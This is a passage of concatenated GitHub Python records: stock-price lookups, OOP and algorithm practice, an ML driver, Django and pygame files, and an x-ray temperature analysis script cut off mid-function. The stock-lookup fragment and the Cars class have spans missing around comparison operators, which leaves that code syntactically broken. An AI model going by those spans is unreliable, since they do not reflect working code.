folder/{Stock}.csv\")\r\n for i in range(len(df)):\r\n df[\"Date\"][i]=datetime.strptime(df[\"Date\"][i], \"%Y-%m-%d\").date()\r\n if(end_date == \"\"):\r\n try: \r\n c=datetime.strptime(Start_date, \"%d/%m/%Y\")\r\n Start_date=c.date() \r\n c=Start_date+timedelta(days=-52*7)\r\n temp = df[\"Date\"].values[0]\r\n if(c= end_date):\r\n try: \r\n l_high.append(df.loc[df[\"Date\"]==end_date,\"High\"].values[0])\r\n l_low.append(df.loc[df[\"Date\"]==end_date,\"Low\"].values[0]) \r\n except:\r\n pass \r\n end_date += delta\r\n except:\r\n error = \"Error\"\r\n else:\r\n try:\r\n c=datetime.strptime(Start_date, \"%d/%m/%Y\")\r\n Start_date=c.date() \r\n c=datetime.strptime(end_date, \"%d/%m/%Y\")\r\n end_date=c.date()\r\n delta = d.timedelta(days=1)\r\n while(Start_date <= end_date):\r\n try: \r\n l_high.append(df.loc[df[\"Date\"]==Start_date,\"High\"].values[0])\r\n l_low.append(df.loc[df[\"Date\"]==Start_date,\"Low\"].values[0]) \r\n except:\r\n pass \r\n Start_date += delta\r\n except:\r\n error = \"Error\"\r\n print(error) \r\n high=max(l_high)\r\n low=min(l_low) \r\n return [high,low]\r\n\r\ndef check(Start_date,End_date,Stock):\r\n if(len(Stock)==0):\r\n return False \r\n Stock = Stock[0]\r\n try: \r\n a=datetime.strptime(Start_date, \"%d/%m/%Y\").date()\r\n except:\r\n return False\r\n df = pd.read_csv(f\"C:/Users/RITIK AGRAWAL/Desktop/New folder/{Stock}.csv\")\r\n for i in range(len(df)):\r\n df[\"Date\"][i]=datetime.strptime(df[\"Date\"][i], \"%Y-%m-%d\").date()\r\n temp = df[\"Date\"].values[0]\r\n\r\n if End_date == \"\":\r\n if a None:\n self.color = \"red\"\n self.seats = 4\n\n def update(self):\n self.seats = 2\n \n def compare(self, other):\n if other.color == self.color and other.seats == self.seats:\n return True\n else:\n return False\n\n def config(self):\n return([self.color,self.seats])\n \nRolsRoys = Cars()\n\nLamborghini = Cars()\n\nRolsRoys.color = \"Silver\"\nLamborghini.update()\nLamborghini.color = \"Yellow\"\n\nx,y = RolsRoys.config()\nprint(f\"RolsRoys-> Color :{x} Seats: {y} Wheels {RolsRoys.wheels}\")\na,b = Lamborghini.config()\nprint(f\"Lamborghini-> Color :{a} Seats: {b} Wheels {Lamborghini.wheels}\")\n\n","repo_name":"AntonyMicheal/Pytyhon-Practice","sub_path":"Python Object-Oriented/Oops_4.py","file_name":"Oops_4.py","file_ext":"py","file_size_in_byte":701,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"351127457","text":"\"\"\"main.py\n\nSummary:\n This script is the main driver for a machine learning application. It loads\n and preprocesses data, initializes various models, trains them, tests them\n and visualizes the results.\n\nExtended Summary:\n The script begins by loading and preprocessing data using the methods\n provided in the DataPreparation class. Next, it initializes k-nearest\n neighbors, convolutional neural network, and recurrent neural network\n models. The models are then trained on the preprocessed data, tested and\n their accuracies are calculated. Finally, the Visualization class is used\n to visualize the model accuracies.\n\"\"\"\n\n# Add the necessary imports\nfrom data_preparation import DataPreparation\nfrom sklearn.datasets import load_iris\nfrom sklearn.model_selection import train_test_split\nfrom sklearn import preprocessing\nfrom models.knn import KNNModel\nfrom models.cnn import CNNModel\nfrom models.rnn import RNN\nfrom visualization.viz import Visualization\n\ndef main():\n \"\"\"\n main _summary_\n\n # Initialize data preparation object\n data_prep = DataPreparation(preprocessing_fn=preprocessing.scale, split_ratio=0.2)\n\n _extended_summary_\n \"\"\"\n # Load and preprocess data\n\n data, labels = load_data()\n train_data, test_data, train_labels, test_labels = train_test_split(\n data, labels, test_size=0.2, random_state=42\n )\n\n # Preprocess the data if needed\n # scaler = preprocessing.StandardScaler()\n # train_data = scaler.fit_transform(train_data)\n # test_data = scaler.transform(test_data)\n # raw_data = load_data() # Implement the load_data() function\n # data = data_prep.preprocess(raw_data)\n # train_data, test_data, train_labels, test_labels = data_prep.split(data, labels) # Define and assign the 'labels' variable\n\n # Initialize models\n knn_model = KNNModel(k=3, problem_type='classification')\n cnn_model = CNNModel()\n cnn_model.build_model(28, 28, 1)\n rnn_model = RNN(\n layers=[100, 50],\n activation_fn=\"relu\",\n loss_fn=\"binary_crossentropy\",\n optimizer=\"adam\",\n )\n\n # Train models\n knn_model.train(train_data, train_labels)\n cnn_model.train(\n train_data, train_labels,\n test_data, test_labels,\n epochs=50, batch_size=32\n )\n rnn_model.train(train_data, train_labels, epochs=50, batch_size=32)\n\n # Test models\n knn_accuracy = knn_model.test(test_data, test_labels)\n cnn_accuracy = cnn_model.test(test_data, test_labels)\n rnn_accuracy = rnn_model.test(test_data, test_labels)\n\n\ndef load_data():\n \"\"\"\n Load and return the iris dataset.\n\n Returns:\n tuple: The dataset features and labels.\n \"\"\"\n iris = load_iris()\n return iris.data, iris.target\n\ndef split(data, labels, test_size=0.2, random_state=42):\n \"\"\"\n Split the data and labels into training and testing sets.\n\n Args:\n data (array-like): The data to be split.\n labels (array-like): The corresponding labels.\n test_size (float): The fraction of the data to be used for testing (default: 0.2).\n random_state (int): The random seed for reproducible results (default: 42).\n\n Returns:\n tuple: The training and testing data and labels.\n \"\"\"\n return train_test_split(data, labels, test_size=test_size, random_state=random_state)\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"thomasthaddeus/NeuralNetworks","sub_path":"src/python/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3377,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"31250353078","text":"import logging\nfrom json import dump as json_dump\nfrom json import load as json_load\nfrom os import PathLike\n\nimport PySimpleGUI as sg\nimport chromalog\nfrom chromalog.colorizer import GenericColorizer\nfrom colorama import Fore, Style\n\nfrom src.controller.AppController import AppController\nfrom src.controller.SerialController import SerialController\nfrom src.util import Global, GraphUtil\nfrom src.view.AppView import AppView\n\n\ndef main() -> None:\n \"\"\"メイン関数\"\"\"\n\n # ログ設定\n colorizer = GenericColorizer(color_map={\"info\": (Fore.GREEN, Style.RESET_ALL)})\n chromalog.basicConfig(\n level=logging.INFO,\n colorizer=colorizer,\n format=\"%(asctime)s.%(msecs)03d : %(levelname)s - %(filename)s - %(message)s\",\n datefmt=\"%H:%M:%S\",\n )\n logging.info(\"main\")\n\n # 設定ファイル読み込み\n Global.settings = load_settings(Global.settings_file, Global.settings_default)\n\n # matplotlib初期化\n GraphUtil.init()\n\n # シリアル通信\n serial_controller = SerialController()\n Global.serialController = serial_controller\n\n # GUIビュー\n app_view = AppView()\n Global.appView = app_view\n\n # コントローラー\n app_controller = AppController()\n Global.appController = app_controller\n\n # グラフ用意\n app_view.prepare_graph()\n # ポート選択初期化\n serial_controller.update_port_selection()\n\n # GUI処理待機\n while True:\n event, values = app_view.window.read(timeout=10)\n if event == sg.TIMEOUT_EVENT:\n continue\n if event == sg.WIN_CLOSED:\n break\n app_controller.handle(event, values)\n\n # 終了\n save_settings(Global.settings_file, Global.settings)\n app_view.close_window()\n\n\ndef load_settings(settings_file: PathLike, default_settings: dict) -> dict:\n \"\"\"設定ファイルを読み込む\n\n Args:\n settings_file(PathLike):設定ファイルのパス\n default_settings(dict): デフォルト設定\n\n Returns:\n dict:設定\n \"\"\"\n logging.info(\"load_settings\")\n\n try:\n with open(settings_file, \"r\") as f:\n settings = json_load(f)\n except Exception:\n logging.warning(\"設定ファイル作成\")\n settings = default_settings\n save_settings(settings_file, settings)\n return settings\n\n\ndef save_settings(settings_file: PathLike, settings: dict) -> None:\n \"\"\"設定ファイルを保存\n\n Args:\n settings_file(PathLike):設定ファイルのパス\n settings(dict): 設定\n \"\"\"\n logging.info(\"save_settings\")\n\n with open(settings_file, \"w\") as f:\n json_dump(settings, f)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"gekkyo/dendai_ict","sub_path":"src/Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":2707,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"409115724","text":"from LinkedList import LinkedList, LinkedListNode\n\ndef loopDetection(l: LinkedList) -> LinkedListNode:\n\n seen = set()\n node = l.head\n\n while node not in seen:\n seen.add(node)\n node = node.next\n\n return node\n\n\ndef loopDetection_2(l: LinkedList) -> LinkedListNode:\n # use fase and slow pointers\n\n fast = slow = l.head\n\n while fast and fast.next:\n fast = fast.next.next\n slow = slow.next\n if fast == slow:\n break\n\n if not fast or not fast.next:\n return None\n \n head = l.head\n while slow != head:\n slow = slow.next\n head = head.next\n return head","repo_name":"ShinminHsu/LeetCode","sub_path":"Cracking_Coding_Interview/Chapter_2/208_loop_detection.py","file_name":"208_loop_detection.py","file_ext":"py","file_size_in_byte":644,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"31749708613","text":"# Given an array of distinct integers lst, find all pairs of elements\n# with the minimum absolute difference of any two elements.\n#\n# Return a list of pairs in ascending order(with respect to pairs), each pair [a, b] follows\n#\n# a, b are from lst\n# a < b\n# b - a equals to the minimum absolute difference of any two elements in lst\n\nclass Solution:\n def minimumAbsDifference(self, arr: list[int]) -> list[list[int]]:\n arr = sorted(arr)\n diff = abs(arr[0] - arr[1])\n result = list()\n for i in range(len(arr) - 1):\n if abs(arr[i] - arr[i + 1]) < diff:\n diff = abs(arr[i] - arr[i + 1])\n for i in range(len(arr) - 1):\n if abs(arr[i] - arr[i + 1]) == diff:\n result.append([arr[i], arr[i + 1]])\n return result\n\n\na = Solution()\nprint(a.minimumAbsDifference([40, 11, 26, 27, -20]))\n","repo_name":"Flopp30/leet_code","sub_path":"easy/Minimum_Absolute_Difference.py","file_name":"Minimum_Absolute_Difference.py","file_ext":"py","file_size_in_byte":871,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"944062643","text":"def insertion_sort(arr):\n for i in range(1, len(arr)):\n key = arr[i] # Elemento atual a ser inserido na parte ordenada\n j = i - 1 # Comece a comparar com o elemento anterior\n\n # Mova os elementos maiores do que o elemento atual para a direita\n while j >= 0 and key < arr[j]:\n arr[j+1] = arr[j]\n j-=1\n # Insira o elemento atual na posição correta\n arr[j+1] = key\n\nlista = [5, 2, 4, 6, 1, 3]\ninsertion_sort(lista)\nprint('Lista ordenada: ', lista)\n","repo_name":"leoCardosoDev/algoritmos_teoria_e_pratica","sub_path":"Capitulo_02/01_insertion_sort/01_1_insertion_sort_crescente.py","file_name":"01_1_insertion_sort_crescente.py","file_ext":"py","file_size_in_byte":476,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"2866177930","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('papers', '0004_auto_20151216_0250'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='library',\n name='owner',\n field=models.ForeignKey(to='papers.LibraryUser', null=True),\n ),\n ]\n","repo_name":"grapesmoker/library","sub_path":"papers/migrations/0005_auto_20151216_0310.py","file_name":"0005_auto_20151216_0310.py","file_ext":"py","file_size_in_byte":423,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"28614852412","text":"import pygame, sys\nfrom settings import *\nfrom menu import Menu\nfrom level import Level\nfrom end_screen import End\n\n\nclass Game:\n def __init__(self):\n self.menu_is_present = True\n pygame.init()\n self.resolution = (WIDTH, HEIGHT) # rozdzielczosc do zmiany, pozniej wypelniana z ustawien (settings.py)\n self.screen = pygame.display.set_mode(self.resolution, MODE_TYPES[2])\n pygame.display.set_caption('Projekt Rogal') # nazwa do zmiany\n self.clock = pygame.time.Clock()\n self.end=End(self)\n self.menu = Menu()\n self.menu.give_board_size(*self.resolution) # screen params\n self.menu.set_positions(self.screen)\n self.level=Level(self)\n\n def hide_menu(self):\n self.menu_is_present = False\n\n def run(self):\n\n while True:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n sys.exit()\n\n if self.menu_is_present:\n self.menu.run(self)\n elif self.level.is_running:\n self.screen.fill('black')\n self.level.run()\n else:\n font_size = 40\n start_font = pygame.font.Font(None, font_size)\n\n if self.level.win:\n start_surface = start_font.render(\"The End!!!\", False, MENU_FONT_SIZE)\n self.screen.fill((94, 129, 162))\n else:\n start_surface = start_font.render(\"YOU'R DEAD\", False, MENU_FONT_SIZE)\n self.screen.fill('black')\n\n score_message_rect = start_surface.get_rect(center=(WIDTH / 2, HEIGHT / 2))\n self.screen.blit(start_surface, score_message_rect)\n keys = pygame.key.get_pressed()\n if keys [pygame.K_SPACE]:\n exit()\n pygame.display.update()\n self.clock.tick(FPS) # to sa FPS, do ustawienia pozniej z (settings.py)\n\n\nif __name__ == '__main__':\n game = Game()\n game.run()\n","repo_name":"Bymbacz/Python-Game","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2075,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"19307100163","text":"from django.urls import include, path\nfrom rest_framework import routers\nfrom customer import views\n\n\nrouter = routers.DefaultRouter()\nrouter.register('_api/create', views.CustomerViewset)\nrouter.register('add', views.BookmarkViewSet)\nrouter.register('_api/browse', views.BrowseViewSet)\n\nurlpatterns = [\n path('', include(router.urls)),\n]\n","repo_name":"biswain2309/bookmarkmanager-project","sub_path":"customer/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":342,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"15429252505","text":"from __future__ import annotations\n\nimport argparse\nimport os\nfrom math import inf, nan\nfrom typing import Callable, Optional\n\nimport numpy as np\nimport pandas as pd\nfrom matplotlib import pyplot as plt\nfrom numpy.typing import NDArray\nfrom scipy import interpolate, integrate, optimize\n\nimport coordinate\nfrom cmap import CMAP\nfrom coordinate import Grid\nfrom hdf5_util import load_hdf5\nfrom image_plate import log_xray_sensitivity\nfrom plots import make_colorbar, save_current_figure\nfrom util import parse_filtering, print_filtering, Filter, median, quantile, shape_parameters, nearest_value\n\nNUM_SAMPLES = 100\nPLOT_STALK = False\n\n\ndef calculate_temperature(shots: list[str], lines_of_sight: list[str], show_plots: bool):\n\tif os.path.basename(os.getcwd()) == \"src\":\n\t\tos.chdir(\"..\")\n\n\tshot_table = pd.read_csv('input/shot_info.csv', index_col=\"shot\", dtype={\"shot\": str}, skipinitialspace=True)\n\treconstruction_table = pd.read_csv(\"results/summary.csv\", dtype={\"shot\": str, \"tim\": str})\n\n\t# build a table of emissions on all shots and all LOSs\n\temissions = []\n\ttemperatures = []\n\tlabels = []\n\tfor shot in shots:\n\t\tfor los in lines_of_sight:\n\t\t\tlos = los.lower()\n\t\t\tprint(shot, los)\n\t\t\t# for KoDI, collect all of the emission values from the reconstruction table\n\t\t\tif los.startswith(\"tim\"):\n\t\t\t\temissions.append([])\n\t\t\t\tenergies = []\n\t\t\t\tfor i, record in reconstruction_table[(reconstruction_table.shot == shot) &\n\t\t\t\t (reconstruction_table.los == los)].iterrows():\n\t\t\t\t\tif record[\"particle\"] == \"xray\":\n\t\t\t\t\t\temissions[-1].append(record[\"yield\"])\n\t\t\t\t\t\tenergies.append((record[\"energy min\"], record[\"energy max\"]))\n\t\t\t\tif len(temperatures) == 0:\n\t\t\t\t\tfor energy_min, energy_max in energies:\n\t\t\t\t\t\tlabels.append(f\"≥ {energy_min:.0f} keV\")\n\t\t\t# for SR-TE, skip that because it probably won't have the same channels\n\t\t\telse:\n\t\t\t\temissions.append([])\n\n\t\t\twhile len(emissions[-1]) < len(emissions[0]):\n\t\t\t\temissions[-1].append(nan) # pad this to force it to be rectangular\n\t\t\tstalk_position = shot_table.loc[shot][\"TPS\"]\n\t\t\tnum_stalks = shot_table.loc[shot][\"stalks\"]\n\n\t\t\t# calculate the temperature!\n\t\t\ttemperature, temperature_error = analyze(\n\t\t\t\tshot, los, stalk_position, num_stalks, show_plots)\n\t\t\t# save the space-integrated temperature\n\t\t\ttemperatures.append((temperature, temperature_error))\n\n\temissions = np.array(emissions)\n\ttemperatures = np.array(temperatures)\n\n\t# plot the trends in all of the data hither plotted\n\tfig, (top_ax, bottom_ax) = plt.subplots(2, 1, sharex=\"all\", figsize=(5 + .15*len(temperatures), 5))\n\tx = np.ravel(\n\t\tnp.arange(1/2, len(shots))[:, np.newaxis] + np.linspace(-1/12, 1/12, len(lines_of_sight))[np.newaxis, :])\n\ttop_ax.grid(axis=\"y\", which=\"both\")\n\tfor k, (marker, label) in enumerate(zip(\"*ovd\", labels)):\n\t\ttop_ax.scatter(x, emissions[:, k], marker=marker, color=f\"C{k}\", label=label, zorder=10)\n\ttop_ax.legend()\n\ttop_ax.set_yscale(\"log\")\n\ttop_ax.set_ylabel(\"X-ray intensity\")\n\tbottom_ax.grid(axis=\"y\")\n\tbottom_ax.errorbar(x, temperatures[:, 0], yerr=temperatures[:, 1], fmt=\".C3\")\n\tbottom_ax.set_ylabel(\"$T_e$ (keV)\")\n\tbottom_ax.set_xticks(ticks=np.arange(1/2, len(shots)), labels=shots)\n\tbottom_ax.set_xlim(0, len(shots))\n\tplt.tight_layout()\n\tplt.subplots_adjust(hspace=0)\n\tplt.savefig(\"results/plots/all_temperatures.png\")\n\tplt.show()\n\n\ndef analyze(shot: str, los: str, stalk_position: str, num_stalks: int, show_plots: bool) -> tuple[float, float]:\n\t# set it to work from the base directory regardless of whence we call the file\n\tif os.path.basename(os.getcwd()) == \"src\":\n\t\tos.chdir(os.path.dirname(os.getcwd()))\n\n\t# load imaging data\n\timages, filter_stacks = load_all_xray_images_for(shot, los)\n\tif len(images) == 0:\n\t\tprint(f\"can’t find anything for shot {shot} {los}\")\n\t\treturn nan, nan\n\telif len(images) == 1:\n\t\tprint(f\"can’t infer temperatures with only one image on shot {shot} {los}\")\n\t\treturn nan, nan\n\n\t# calculate some synthetic lineouts\n\ttest_temperature = np.geomspace(5e-1, 2e+1)\n\temissions = np.empty((len(filter_stacks), test_temperature.size))\n\tinference = np.empty(test_temperature.size)\n\tfor i in range(test_temperature.size):\n\t\temissions[:, i] = model_emission(test_temperature[i], *compute_sensitivity(filter_stacks))\n\t\temissions[:, i] /= emissions[:, i].mean()\n\t\tinference[i] = compute_plasma_conditions(\n\t\t\temissions[:, i], *compute_sensitivity(filter_stacks))[0]\n\n\t# calculate the spacially integrated temperature\n\ttemperature_integrated, temperature_error_integrated, _, _ = compute_plasma_conditions_with_errorbars(\n\t\tnp.array([image.total for image in images]),\n\t\tfilter_stacks, error_bars=True, show_plot=True)\n\tsave_current_figure(f\"{shot}/{los}-temperature-fit\")\n\tprint(f\"Te = {temperature_integrated:.3f} ± {temperature_error_integrated:.3f} keV\")\n\n\t# estimate the radius of the source\n\tobject_size = nearest_value(1.5*images[0].radius,\n\t np.array([100, 250, 750, 2000]))\n\n\t# calculate the spacially resolved temperature\n\tmeasurement_errors = 0.05*np.array([image.supremum for image in images]) # this isn’t very quantitative, but it captures the character of errors in the reconstructions\n\tbasis = Grid.from_size(object_size, object_size/20, True)\n\ttemperature_map = np.empty(basis.shape)\n\temission_map = np.empty(basis.shape)\n\tfor i in range(basis.x.num_bins):\n\t\tfor j in range(basis.y.num_bins):\n\t\t\tdata = np.array([image.at((basis.x.get_bins()[i], basis.y.get_bins()[j])) for image in images])\n\t\t\treliable_measurements = data >= measurement_errors\n\t\t\tif np.all(reliable_measurements):\n\t\t\t\tTe, _, _, _ = compute_plasma_conditions_with_errorbars(data, filter_stacks)\n\t\t\t\ttemperature_map[i, j] = Te\n\t\t\telse:\n\t\t\t\ttemperature_map[i, j] = nan\n\t\t\t# emission_map[i, j] = εL\n\t\t\temission_map[i, j] = np.mean(data)\n\n\t# plot a synthetic lineout\n\tplt.figure()\n\tref = np.argsort(emissions[:, 0])[-1]\n\tfor filter_stack, emission in zip(filter_stacks, emissions):\n\t\tplt.plot(test_temperature[1:],\n\t\t emission[1:]/emissions[ref, 1:],\n\t\t label=print_filtering(filter_stack))\n\tplt.legend()\n\tplt.yscale(\"log\")\n\tplt.xlabel(\"Temperature (keV)\")\n\tplt.ylabel(\"X-ray emission\")\n\tplt.xscale(\"log\")\n\tplt.ylim(3e-4, 3e+0)\n\tplt.grid()\n\tplt.tight_layout()\n\n\t# plot lineouts of the images\n\tplt.figure()\n\tfor filter_stack, image in zip(filter_stacks, images):\n\t\tplt.plot(basis.x.get_bins(), image.at((basis.x.get_bins(), 0)),\n\t\t label=print_filtering(filter_stack)) # TODO: error bars\n\tplt.legend()\n\tplt.yscale(\"log\")\n\tplt.xlabel(\"x (μm)\")\n\tplt.ylabel(\"X-ray image\")\n\tplt.ylim(plt.gca().get_ylim()[1]*1e-4, plt.gca().get_ylim()[1])\n\tplt.grid()\n\tplt.tight_layout()\n\n\t# plot the temperature\n\ttim_coordinates = coordinate.los_coordinates(los)\n\tif stalk_position in coordinate.NAMED_LOS:\n\t\tstalk_direction = coordinate.project(\n\t\t\t1., *coordinate.NAMED_LOS[stalk_position], tim_coordinates)\n\telse:\n\t\tstalk_direction = None\n\tplot_electron_temperature(f\"{shot}/{los}\", show_plots, basis,\n\t temperature_map, emission_map, temperature_integrated,\n\t stalk_direction, num_stalks)\n\n\treturn temperature_integrated, temperature_error_integrated\n\n\ndef compute_plasma_conditions_with_errorbars(measured_values: NDArray[float],\n filter_stacks: list[list[Filter]],\n error_bars=False, show_plot=False) -> tuple[float, float, float, float]:\n\t\"\"\" take a set of measured x-ray intensity values from a single chord thru the implosion and\n\t use their average and their ratios to infer the emission-averaged electron temperature,\n\t and the total line-integrated photic emission along that chord. compute the one-sigma error\n\t bars accounting for uncertainty in the filter thicknesses\n\t :param measured_values: the detected emission (PSL/μm^2/sr)\n\t :param filter_stacks: the filtering representing each energy bin\n\t :param error_bars: whether to calculate error bars (it’s kind of time-intensive)\n\t :param show_plot: whether to generate a little plot showing how well the model fits the data\n\t :return: the electron temperature (keV) and the total emission (PSL/μm^2/sr)\n\t\"\"\"\n\tref_energies, sensitivities = compute_sensitivity(filter_stacks)\n\tif error_bars:\n\t\tvaried_sensitivities = np.empty((NUM_SAMPLES, *sensitivities.shape), dtype=float)\n\t\tvaried_temperatures = np.empty(NUM_SAMPLES, dtype=float)\n\t\tvaried_emissions = np.empty(NUM_SAMPLES, dtype=float)\n\t\tfor k in range(NUM_SAMPLES):\n\t\t\tvaried_filter_stacks = []\n\t\t\tfor filter_stack in filter_stacks:\n\t\t\t\tvaried_filter_stacks.append([])\n\t\t\t\tfor thickness, material in filter_stack:\n\t\t\t\t\tvaried_thickness = thickness*np.random.normal(1, .06)\n\t\t\t\t\tvaried_filter_stacks[-1].append((varied_thickness, material))\n\t\t\t_, varied_sensitivity = compute_sensitivity(varied_filter_stacks)\n\t\t\tvaried_temperature, varied_emission, _ = compute_plasma_conditions(\n\t\t\t\tmeasured_values, ref_energies, varied_sensitivity)\n\t\t\tvaried_sensitivities[k, :, :] = varied_sensitivity\n\t\t\tvaried_temperatures[k] = varied_temperature\n\t\t\tvaried_emissions[k] = varied_emission\n\n\t\t# compute the error bars as the std (approximately) of these points\n\t\ttemperature = median(varied_temperatures)\n\t\temission = median(varied_emissions)\n\t\treconstructed_values = emission/temperature*model_emission(\n\t\t\ttemperature, ref_energies, sensitivities)\n\t\ttemperature_error = 1/2*(quantile(varied_temperatures, .85) - quantile(varied_temperatures, .15))\n\t\temission_error = 1/2*(quantile(varied_emissions, .85) - quantile(varied_emissions, .15))\n\t\tvaried_reconstructed_values = np.empty((NUM_SAMPLES, reconstructed_values.size))\n\t\tfor k in range(NUM_SAMPLES):\n\t\t\tvaried_reconstructed_values[k, :] = emission/temperature*model_emission(\n\t\t\t\ttemperature, ref_energies, varied_sensitivities[k, :, :])\n\t\treconstructed_errors = np.sqrt(np.mean((varied_reconstructed_values - reconstructed_values)**2, axis=0))\n\n\telse:\n\t\ttemperature, emission, _ = compute_plasma_conditions(measured_values, ref_energies, sensitivities)\n\t\ttemperature_error, emission_error = 0, 0\n\t\treconstructed_values = emission/temperature*model_emission(\n\t\t\ttemperature, ref_energies, sensitivities)\n\t\treconstructed_errors = np.zeros(reconstructed_values.shape)\n\n\tif show_plot:\n\t\tplt.figure()\n\t\tplt.errorbar(1 + np.arange(measured_values.size),\n\t\t y=measured_values,\n\t\t fmt=\"oC1\", zorder=2, markersize=8)\n\t\tplt.errorbar(1 + np.arange(measured_values.size),\n\t\t y=reconstructed_values, yerr=reconstructed_errors,\n\t\t fmt=\"xC0\", zorder=3, markersize=8, markeredgewidth=2)\n\t\tplt.grid(axis=\"y\")\n\t\tplt.xlabel(\"Detector #\")\n\t\tplt.ylabel(\"Measured yield (units)\")\n\t\t# plt.ylim(0, None)\n\t\tplt.yscale(\"log\")\n\t\tplt.title(f\"Best fit (Te = {temperature:.3f} ± {temperature_error:.3f})\")\n\t\tplt.tight_layout()\n\n\treturn temperature, temperature_error, emission, emission_error\n\n\ndef compute_plasma_conditions(measured_values: NDArray[float], ref_energies: NDArray[float],\n log_sensitivities: NDArray[float]) -> tuple[float, float, float]:\n\t\"\"\" take a set of measured x-ray intensity values from a single chord thru the implosion and\n\t use their average and their ratios to infer the emission-averaged electron temperature,\n\t and the total line-integrated photic emission along that chord.\n\t :param measured_values: the detected emission (PSL/μm^2/sr)\n\t :param ref_energies: the energies at which the sensitivities are defined\n\t :param log_sensitivities: energy-resolved sensitivity curve of each detector section\n\t :return: the electron temperature (keV) and the total emission (PSL/μm^2/sr) and the arbitrarily scaled χ^2\n\t\"\"\"\n\tif np.all(measured_values == 0):\n\t\treturn nan, 0, 0\n\n\tdef compute_model_with_optimal_scaling(βe):\n\t\tunscaled_values = model_emission(1/βe, ref_energies, log_sensitivities)\n\t\tnumerator = np.sum(unscaled_values)\n\t\tdenominator = np.sum(unscaled_values**2/measured_values)\n\t\treturn unscaled_values, numerator, denominator\n\n\tdef compute_residuals(βe):\n\t\tunscaled_values, numerator, denominator = compute_model_with_optimal_scaling(βe)\n\t\tvalues = numerator/denominator*unscaled_values\n\t\treturn (values - measured_values)/np.sqrt(measured_values)\n\n\tdef compute_derivatives(βe):\n\t\tunscaled_values, numerator, denominator = compute_model_with_optimal_scaling(βe)\n\t\tunscaled_derivatives = model_emission_derivative(1/βe, ref_energies, log_sensitivities)\n\t\tnumerator_derivative = np.sum(unscaled_derivatives)\n\t\tdenominator_derivative = 2*np.sum(unscaled_derivatives*unscaled_values/measured_values)\n\t\treturn (numerator/denominator*unscaled_derivatives +\n\t\t numerator_derivative/denominator*unscaled_values -\n\t\t numerator*denominator_derivative/denominator**2*unscaled_values\n\t\t )/np.sqrt(measured_values)\n\n\t# start with a scan\n\tbest_Te, best_χ2 = None, inf\n\tfor Te in np.geomspace(5e-2, 5e-0, 11):\n\t\tχ2 = np.sum(compute_residuals(1/Te)**2)\n\t\tif χ2 < best_χ2:\n\t\t\tbest_Te = Te\n\t\t\tbest_χ2 = χ2\n\t# then do a newton’s method\n\tresult = optimize.least_squares(fun=lambda x: compute_residuals(x[0]),\n\t jac=lambda x: np.expand_dims(compute_derivatives(x[0]), 1),\n\t x0=[1/best_Te],\n\t bounds=(0, inf)) # TODO: optimize the filter thicknesses as well as temperature to maximize the Bayesian posterior, then have Bayesian error bars\n\tif result.success:\n\t\tbest_βe = result.x[0]\n\t\tbest_Te = 1/best_βe\n\t\tχ2 = np.sum(compute_residuals(best_βe)**2)\n\n\t\tunscaled_values, numerator, denominator = compute_model_with_optimal_scaling(best_βe)\n\t\tbest_εL = numerator/denominator*best_Te\n\n\t\treturn best_Te, best_εL, χ2 # type: ignore\n\telse:\n\t\treturn nan, nan, nan\n\n\ndef compute_sensitivity(filter_stacks: list[list[Filter]]) -> tuple[NDArray[float], NDArray[float]]:\n\tref_energies = np.geomspace(1, 1e3, 61)\n\tlog_sensitivities = []\n\tfor filter_stack in filter_stacks:\n\t\tlog_sensitivities.append(log_xray_sensitivity(ref_energies, filter_stack))\n\tlog_sensitivities = np.array(log_sensitivities)\n\treturn ref_energies, log_sensitivities\n\n\ndef model_emission(temperature: float, ref_energies: NDArray[float],\n log_sensitivities: NDArray[float]) -> NDArray[float]:\n\tintegrand = np.exp(-ref_energies/temperature + log_sensitivities)\n\treturn integrate.trapezoid(x=ref_energies, y=integrand, axis=1)\n\n\ndef model_emission_derivative(temperature: float, ref_energies: NDArray[float],\n log_sensitivities: NDArray[float]) -> NDArray[float]:\n\t\"\"\" this returns the derivative of model_emission() with respect to 1/temperature \"\"\"\n\tintegrand = np.exp(-ref_energies/temperature + log_sensitivities)\n\treturn integrate.trapezoid(x=ref_energies, y=-ref_energies*integrand, axis=1)\n\n\ndef plot_electron_temperature(filename: str, show: bool,\n grid: Grid, temperature: NDArray[float], emission: NDArray[float],\n temperature_integrated: float,\n projected_stalk_direction: Optional[tuple[float, float, float]],\n num_stalks: Optional[int]) -> None:\n\t\"\"\" plot the electron temperature as a heatmap, along with some contours to show where the\n\t implosion actually is.\n\t\"\"\"\n\tplt.figure()\n\tplt.gca().set_facecolor(\"k\")\n\tplt.imshow(temperature.T, extent=grid.extent,\n\t cmap=CMAP[\"heat\"], origin=\"lower\", vmin=0, vmax=np.nanquantile(temperature, .999))\n\tmake_colorbar(vmin=0, vmax=np.nanquantile(temperature, .999), label=\"Te (keV)\")\n\tplt.contour(grid.x.get_bins(), grid.y.get_bins(), emission.T,\n\t colors=\"#000\", linewidths=1,\n\t levels=np.linspace(0, emission[grid.x.num_bins//2, grid.y.num_bins//2]*2, 